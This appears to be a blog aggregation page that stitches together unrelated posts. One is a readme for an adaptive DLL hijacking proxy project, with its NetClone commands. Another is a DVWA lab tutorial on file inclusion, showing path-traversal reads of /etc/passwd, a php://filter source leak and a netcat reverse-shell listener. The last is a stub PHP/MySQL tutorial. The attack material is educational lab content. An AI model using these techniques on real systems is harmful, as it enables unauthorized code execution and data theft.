miércoles, 31 de enero de 2024
5374 hash passwords
domingo, 28 de enero de 2024
Koppeling - Adaptive DLL Hijacking / Dynamic Export Forwarding
This project is a demonstration of advanced DLL hijack techniques. It was released in conjunction with the "Adaptive DLL Hijacking" blog post. I recommend you start there to contextualize this code.
This project is comprised of the following elements:
- Harness.exe: The "victim" application which is vulnerable to hijacking (static/dynamic)
- Functions.dll: The "real" library which exposes valid functionality to the harness
- Theif.dll: The "evil" library which is attempting to gain execution
- NetClone.exe: A C# application which will clone exports from one DLL to another
- PyClone.py: A python 3 script which mimics NetClone functionality
The VS solution itself supports 4 build configurations which map to 4 different methods of proxying functionality. This should provide a nice scalable way of demonstrating more techniques in the future.
- Stc-Forward: Forwards export names during the build process using linker comments
- Dyn-NetClone: Clones the export table from functions.dll onto theif.dll post-build using NetClone
- Dyn-PyClone: Clones the export table from functions.dll onto theif.dll post-build using PyClone
- Dyn-Rebuild: Rebuilds the export table and patches linked import tables post-load to dynamically prepare for function proxying
The goal of each technique is to successfully capture code execution while proxying functionality to the legitimate DLL. Each technique is tested to ensure static and dynamic sink situations are handled. This is by far not every primitive or technique variation. The post above goes into more detail.
Prepare a hijack scenario with an obviously incorrect DLL
> copy C:\windows\system32\whoami.exe .\whoami.exe
1 file(s) copied.
> copy C:\windows\system32\kernel32.dll .\wkscli.dll
1 file(s) copied.
Executing in the current configuration should result in an error
> whoami.exe
"Entry Point Not Found"
Convert kernel32 to proxy functionality for wkscli
> NetClone.exe --target C:\windows\system32\kernel32.dll --reference C:\windows\system32\wkscli.dll --output wkscli.dll
[+] Done.
> whoami.exe
COMPUTER\User
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Learning Web Pentesting With DVWA Part 6: File Inclusion
There are two types of File Inclusion Vulnerabilities, LFI (Local File Inclusion) and RFI (Remote File Inclusion). Offensive Security's Metasploit Unleashed guide describes LFI and RFI as:
"LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine."
In simpler terms LFI allows us to use the web application's execution engine (say php) to execute local files on the web server and RFI allows us to execute remote files, within the context of the target web server, which can be hosted anywhere remotely (given they can be accessed from the network on which web server is running).
To follow along, click on the File Inclusion navigation link of DVWA, you should see a page like this:
Lets start by doing an LFI attack on the web application.
Looking at the URL of the web application we can see a parameter named page which is used to load different php pages on the website.
http://localhost:9000/vulnerabilities/fi/?page=include.php
../etc/passwd http://localhost:9000/vulnerabilities/fi/?page=../etc/passwd
../../etc/passwd ../../../etc/passwd ../../../../etc/passwd ../../../../../../../etc/passwd This just means that we are currently working in a directory which is seven levels deep inside the root (/) directory. It also proves that our LFI is a success. We can also use php filters to get more and more information from the server. For example if we want to get the source code of the web server we can use php wrapper filter for that like this:
php://filter/convert.base64-encode/resource=index.php cat index.php.b64 | base64 -d > index.php Lets upload our reverse shell via File Upload functionality and then set up our netcat listener to listen for a connection coming from the server.
nc -lvnp 9999 http://localhost:9000/vulnerabilities/fi/?page=../../hackable/uploads/revshell.php
To learn more about File Upload Vulnerability and the reverse shell we have used here read Learning Web Pentesting With DVWA Part 5: Using File Upload to Get Shell. Attackers usually chain multiple vulnerabilities to get as much access as they can. This is a simple example of how multiple vulnerabilities (Unrestricted File Upload + LFI) can be used to scale up attacks. If you are interested in learning more about php wrappers then LFI CheetSheet is a good read and if you want to perform these attacks on the dvwa, then you'll have to enable allow_url_include setting by logging in to the dvwa server. That's it for today have fun.
Leave your questions and queries in the comments below.
References:
- FILE INCLUSION VULNERABILITIES: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
- php://: https://www.php.net/manual/en/wrappers.php.php
- LFI Cheat Sheet: https://highon.coffee/blog/lfi-cheat-sheet/
- File inclusion vulnerability: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
- PHP 5.2.0 Release Announcement: https://www.php.net/releases/5_2_0.php
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How To Fetch Data From The Database | Tutorial 4
Welcome to my another PHP and MYSQL tutorial. In the previous I've discussed about the data insertion into database by using PHP and MYSQL. So i did successfully in the previous video.
In this video tutorial I'll discuss How to fetch data from the database called as data fetching. It's really a simple thing to access your data which is in database. You just have to do a little work for this. For fetching data you have follow some steps.
How to Fetch Data from Database
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